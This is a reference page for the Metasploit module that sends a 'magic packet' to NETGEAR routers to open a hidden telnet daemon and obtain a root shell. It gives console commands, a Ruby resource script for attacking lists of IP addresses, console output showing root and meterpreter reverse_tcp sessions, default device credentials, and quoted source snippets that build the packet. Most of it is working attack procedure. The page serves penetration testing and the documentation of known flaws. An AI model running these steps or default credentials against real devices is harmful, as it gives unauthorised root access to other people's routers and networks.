NETGEAR TelnetEnable - Metasploit
This page contains detailed information about how to use the exploit/linux/telnet/netgear_telnetenable metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: NETGEAR TelnetEnable
Module: exploit/linux/telnet/netgear_telnetenable
Source code: modules/exploits/linux/telnet/netgear_telnetenable.rb
Disclosure date: 2009-10-30
Last modification time: 2019-03-05 21:02:39 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 23
List of CVEs: -
This module sends a magic packet to a NETGEAR device to enable telnetd. Upon successful connect, a root shell should be presented to the user.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using netgear_telnetenable against a single host
Normally, you can use exploit/linux/telnet/netgear_telnetenable this way:
msf > use exploit/linux/telnet/netgear_telnetenable
msf exploit(netgear_telnetenable) > show targets
... a list of targets ...
msf exploit(netgear_telnetenable) > set TARGET target-id
msf exploit(netgear_telnetenable) > show options
... show and set options ...
msf exploit(netgear_telnetenable) > exploit
Using netgear_telnetenable against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your netgear_telnetenable will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/telnet/netgear_telnetenable")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Introduction
Several models of Netgear devices have a hidden telnet daemon that can be enabled for remote LAN users by sending a 'magic packet' to the device. Upon successful connect, a root shell should be presented to the user.
There are many devices which contain this daemon, for a full list see OpenWrt.
This module has been successfully tested against:
- AC1450 - unknown older firmware (TCP)
- AC1450 - latest firmware: V1.0.0.36_10.0.17 (UDP)
- N300 WNR2000 v3 - firmware: V1.1.2.10 (TCP)
Setup
A MAC address is required for exploitation. To determine the MAC address of the device:
- Ping the device to force an ARP lookup:
ping -c 1 [IP]
- Get the MAC:
arp -an [IP]
If you are the root user, you can skip this step. ARP will be leveraged to find the MAC address.
Targets
0 (Automatic)
Detect if a device listens on TCP or UDP.
1 (TCP)
Older devices usually listen on TCP.
2 (UDP)
Newer devices usually listen on UDP.
Options
MAC
Set this to the MAC address of the device. You can use ping
and arp
to find it.
You can leave this blank if you're root.
USERNAME
If this is an older device, it'll take the value of super_username
in
nvram
, which is usually unchanged from Gearguy
.
If this is a newer device, it'll take the web UI username, which is
usually unchanged from admin
.
You can leave this blank to use the default username.
PASSWORD
If this is an older device, it'll take the value of super_passwd
in
nvram
, which is usually unchanged from Geardog
.
If this is a newer device, it'll take the web UI password, which is
usually unchanged from password
.
You can leave this blank to use the default password.
Exploitation
- Make sure you have a vulnerable device
- Start metasploit
use exploit/linux/telnet/netgear_telnetenable
set rhost [IP]
set mac [MAC Address]
if not running as rootexploit
- Enjoy a root shell!
Usage
AC1450
As a normal user:
msf5 > use exploit/linux/telnet/netgear_telnetenable
msf5 exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf5 exploit(linux/telnet/netgear_telnetenable) > ping -c 1 192.168.1.1
[*] exec: ping -c 1 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=2.04 ms
--- 192.168.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.041/2.041/2.041/0.000 ms
msf5 exploit(linux/telnet/netgear_telnetenable) > arp -an 192.168.1.1
[*] exec: arp -an 192.168.1.1
? (192.168.1.1) at [redacted] [ether] on wlan0
msf5 exploit(linux/telnet/netgear_telnetenable) > set mac [redacted]
mac => [redacted]
msf5 exploit(linux/telnet/netgear_telnetenable) > run
[+] 192.168.1.1:23 - Detected telnetenabled on UDP
[+] 192.168.1.1:23 - Using creds admin:password
[*] 192.168.1.1:23 - Generating magic packet
[*] 192.168.1.1:23 - Connecting to telnetenabled via UDP
[*] 192.168.1.1:23 - Sending magic packet
[*] 192.168.1.1:23 - Disconnecting from telnetenabled
[*] 192.168.1.1:23 - Waiting for telnetd
[*] 192.168.1.1:23 - Connecting to telnetd
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.3:34833 -> 192.168.1.1:23) at 2018-03-02 19:26:25 -0600
id
id
uid=0 gid=0(root)
# uname -a
uname -a
Linux (none) 2.6.36.4brcmarm+ #16 SMP PREEMPT Wed Mar 22 15:02:38 CST 2017 armv7l unknown
#
As root:
msf5 > use exploit/linux/telnet/netgear_telnetenable
msf5 exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1
rhost => 192.168.1.1
rmsf5 exploit(linux/telnet/netgear_telnetenable) > run
[+] 192.168.1.1:23 - Detected telnetenabled on UDP
[*] 192.168.1.1:23 - Attempting to discover MAC address via ARP
[+] 192.168.1.1:23 - Found MAC address [redacted]
[+] 192.168.1.1:23 - Using creds admin:password
[*] 192.168.1.1:23 - Generating magic packet
[*] 192.168.1.1:23 - Connecting to telnetenabled via UDP
[*] 192.168.1.1:23 - Sending magic packet
[*] 192.168.1.1:23 - Disconnecting from telnetenabled
[*] 192.168.1.1:23 - Waiting for telnetd
[*] 192.168.1.1:23 - Connecting to telnetd
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.2:37771 -> 192.168.1.1:23) at 2018-03-02 19:33:42 -0600
id
id
uid=0 gid=0(root)
# uname -a
uname -a
Linux (none) 2.6.36.4brcmarm+ #16 SMP PREEMPT Wed Mar 22 15:02:38 CST 2017 armv7l unknown
#
Go back to menu.
Msfconsole Usage
Here is how the linux/telnet/netgear_telnetenable exploit module looks in the msfconsole:
msf6 > use exploit/linux/telnet/netgear_telnetenable
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(linux/telnet/netgear_telnetenable) > show info
Name: NETGEAR TelnetEnable
Module: exploit/linux/telnet/netgear_telnetenable
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2009-10-30
Provided by:
Paul Gebheim
insanid
wvu <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic (detect TCP or UDP)
1 TCP (typically older devices)
2 UDP (typically newer devices)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
MAC no MAC address of device
PASSWORD no Password on device
PCAPFILE no The name of the PCAP capture file to process
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 23 yes The target port (TCP)
SNAPLEN 65535 yes The number of bytes to capture
TIMEOUT 500 yes The number of seconds to wait for new data
USERNAME no Username on device
Payload information:
Description:
This module sends a magic packet to a NETGEAR device to enable
telnetd. Upon successful connect, a root shell should be presented
to the user.
References:
https://wiki.openwrt.org/toh/netgear/telnet.console
https://github.com/cyanitol/netgear-telenetenable
https://github.com/insanid/netgear-telenetenable
Module Options
This is a complete list of options available in the linux/telnet/netgear_telnetenable exploit:
msf6 exploit(linux/telnet/netgear_telnetenable) > show options
Module options (exploit/linux/telnet/netgear_telnetenable):
Name Current Setting Required Description
---- --------------- -------- -----------
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
MAC no MAC address of device
PASSWORD no Password on device
PCAPFILE no The name of the PCAP capture file to process
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 23 yes The target port (TCP)
SNAPLEN 65535 yes The number of bytes to capture
TIMEOUT 500 yes The number of seconds to wait for new data
USERNAME no Username on device
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic (detect TCP or UDP)
Advanced Options
Here is a complete list of advanced options supported by the linux/telnet/netgear_telnetenable exploit:
msf6 exploit(linux/telnet/netgear_telnetenable) > show advanced
Module advanced options (exploit/linux/telnet/netgear_telnetenable):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
GATEWAY_PROBE_HOST 8.8.8.8 yes Send a TTL=1 random UDP datagram to this host to discover the default gateway's MAC
GATEWAY_PROBE_PORT no The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SECRET 1297303073 yes A 32-bit cookie for probe requests.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/telnet/netgear_telnetenable module can exploit:
msf6 exploit(linux/telnet/netgear_telnetenable) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic (detect TCP or UDP)
1 TCP (typically older devices)
2 UDP (typically newer devices)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/telnet/netgear_telnetenable exploit:
msf6 exploit(linux/telnet/netgear_telnetenable) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/telnet/netgear_telnetenable exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/telnet/netgear_telnetenable) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<E>. Are you root?
Here is a relevant code snippet related to the "<E>. Are you root?" error message:
143:
144: begin
145: open_pcap
146: @mac = lookup_eth(rhost).first
147: rescue RuntimeError => e
148: fail_with(Failure::BadConfig, "#{e}. Are you root?")
149: ensure
150: close_pcap
151: end
152:
153: if @mac
Could not find MAC address
Here is a relevant code snippet related to the "Could not find MAC address" error message:
151: end
152:
153: if @mac
154: print_good("Found MAC address #{@mac}")
155: else
156: fail_with(Failure::Unknown, 'Could not find MAC address')
157: end
158: end
159:
160: def configure_creds
161: @username = datastore['USERNAME'] || target[:username]
Something happened mid-connection!
Here is a relevant code snippet related to the "Something happened mid-connection!" error message:
179: print_status("Connecting to telnetenabled via #{@proto.upcase}")
180: @proto == :tcp ? connect : connect_udp
181: print_status('Sending magic packet')
182: @proto == :tcp ? sock.put(payload) : udp_sock.put(payload)
183: rescue Rex::ConnectionError
184: fail_with(Failure::Disconnected, 'Something happened mid-connection!')
185: ensure
186: print_status('Disconnecting from telnetenabled')
187: @proto == :tcp ? disconnect : disconnect_udp
188: end
189:
MAC must be 12 bytes without : or
Here is a relevant code snippet related to the "MAC must be 12 bytes without : or" error message:
201: # NOTE: This is almost a verbatim copy of the Python PoC
202: def magic_packet(mac, username, password)
203: mac = mac.gsub(/[:-]/, '').upcase
204:
205: if mac.length != 12
206: fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
207: end
208: just_mac = mac.ljust(0x10, "\x00")
209:
210: if username.length > 0x10
211: fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
USERNAME must be <= 16 bytes
Here is a relevant code snippet related to the "USERNAME must be <= 16 bytes" error message:
206: fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
207: end
208: just_mac = mac.ljust(0x10, "\x00")
209:
210: if username.length > 0x10
211: fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
212: end
213: just_username = username.ljust(0x10, "\x00")
214:
215: if @proto == :tcp
216: if password.length > 0x10
PASSWORD must be <= 16 bytes
Here is a relevant code snippet related to the "PASSWORD must be <= 16 bytes" error message:
212: end
213: just_username = username.ljust(0x10, "\x00")
214:
215: if @proto == :tcp
216: if password.length > 0x10
217: fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
218: end
219: just_password = password.ljust(0x10, "\x00")
220: elsif @proto == :udp
221: # Thanks to Roberto Frenna for the reserved field analysis
222: if password.length > 0x21
PASSWORD must be <= 33 bytes
Here is a relevant code snippet related to the "PASSWORD must be <= 33 bytes" error message:
218: end
219: just_password = password.ljust(0x10, "\x00")
220: elsif @proto == :udp
221: # Thanks to Roberto Frenna for the reserved field analysis
222: if password.length > 0x21
223: fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
224: end
225: just_password = password.ljust(0x21, "\x00")
226: end
227:
228: cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
Go back to menu.
Related Pull Requests
- #11527 Merged Pull Request: Update .rubocop.yml TargetRubyVersion to 2.4
- #10973 Merged Pull Request: Rework DisclosureDate check in msftidy, including ISO 8601 support
- #10505 Merged Pull Request: Add post authentication information in modules
- #9671 Merged Pull Request: Fix #9650, missed code from TelnetEnable refactor
- #9650 Merged Pull Request: Add NETGEAR TelnetEnable
References
- CVE: Not available
- https://wiki.openwrt.org/toh/netgear/telnet.console
- https://github.com/cyanitol/netgear-telenetenable
- https://github.com/insanid/netgear-telenetenable
See Also
Check also the following modules related to this module:
- exploit/linux/http/netgear_dgn1000b_setup_exec
- exploit/linux/http/netgear_dgn1000_setup_unauth_exec
- exploit/linux/http/netgear_dgn2200b_pppoe_exec
- exploit/linux/http/netgear_dnslookup_cmd_exec
- exploit/linux/http/netgear_r7000_cgibin_exec
- exploit/linux/http/netgear_readynas_exec
- exploit/linux/http/netgear_unauth_exec
- exploit/linux/http/netgear_wnr2000_rce
- exploit/linux/telnet/telnet_encrypt_keyid
- auxiliary/admin/http/netgear_auth_download
- auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
- auxiliary/admin/http/netgear_r6700_pass_reset
- auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
- auxiliary/admin/http/netgear_soap_password_extractor
- auxiliary/admin/http/netgear_wnr2000_pass_recovery
- auxiliary/gather/netgear_password_disclosure
- auxiliary/scanner/http/netgear_sph200d_traversal
- exploit/windows/http/netgear_nms_rce
- exploit/freebsd/telnet/telnet_encrypt_keyid
- exploit/solaris/telnet/fuser
- exploit/solaris/telnet/ttyprompt
- exploit/windows/telnet/gamsoft_telsrv_username
- exploit/windows/telnet/goodtech_telnet
- auxiliary/scanner/telnet/brocade_enable_login
- auxiliary/scanner/telnet/lantronix_telnet_password
- auxiliary/scanner/telnet/lantronix_telnet_version
- auxiliary/scanner/telnet/satel_cmd_exec
- auxiliary/scanner/telnet/telnet_encrypt_overflow
- auxiliary/scanner/telnet/telnet_login
- auxiliary/scanner/telnet/telnet_ruggedcom
- auxiliary/scanner/telnet/telnet_version
Authors
- Paul Gebheim
- insanid
- wvu
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.